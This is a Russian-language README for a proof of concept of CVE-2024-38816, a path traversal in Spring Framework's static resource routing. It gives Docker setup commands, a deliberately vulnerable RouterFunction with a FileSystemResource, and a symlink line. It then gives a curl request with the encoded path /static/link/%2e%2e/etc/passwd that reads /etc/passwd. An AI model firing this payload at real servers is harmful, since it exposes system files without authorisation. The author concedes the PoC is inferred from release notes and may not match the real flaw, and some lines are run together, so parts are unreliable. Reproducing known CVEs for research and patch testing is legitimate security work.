
Proof of Concept для CVE-2024-38816
Это доказательство концепции для уязвимости CVE-2024-38816, демонстрирующее эксплуатацию обхода пути.
Соберите Docker-образ: (Spring Boot 3.0.13, на основе Spring Framework 6.0.3)
docker build -t cve-2024-38816-poc .
Запустите контейнер и пробросьте порт 8080 на хост-машину:
docker run -d -p 8080:8080 --name cve-2024-38816-poc cve-2024-38816-poc
Выполните следующую команду для запуска PoC и подтверждения уязвимости:
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
Если отображается содержимое файла /etc/passwd, уязвимость подтверждена.
Этот PoC создан на основе анализа заметок о выпуске и логов коммитов. Поведение реальной уязвимости может отличаться, поэтому точность не гарантируется. Используйте на свой страх и риск.
Уязвимость была исправлена в Spring Framework 6.1.13, что подтверждается заметками о выпуске.
Просмотрев заметки о выпуске и соответствующие логи коммитов, я выявил следующие две проблемы, которые могут быть связаны с этой уязвимостью:
Согласно уведомлению о безопасности, для успешной атаки, вероятно, должны быть выполнены следующие условия:
RouterFunctionsFileSystemResourceДля воспроизведения уязвимости используется среда Docker.
Создайте PathTraversalDemoApplication.java со следующим кодом для настройки маршрутизации статических файлов с помощью RouterFunction и FileSystemResource:
public RouterFunction<ServerResponse> staticResourceRouter() {
return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
}
Добавьте следующую команду в Dockerfile для создания символической ссылки:
RUN ln -s /static /app/static/link
Создайте полезную нагрузку, использующую %-кодировку для обхода каталогов через символическую ссылку.
/static/link/%2e%2e/etc/passwdИспользуйте следующую команду curl для выполнения PoC и проверки успешности атаки:
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
Если атака успешна, будет отображено содержимое файла /etc/passwd.
Этот PoC предоставляется в образовательных целях и для исследований в области безопасности. Перед использованием в реальной системе убедитесь, что уязвимость устранена и у вас есть соответствующие разрешения. Автор не несет ответственности за любое неправильное использование этого кода.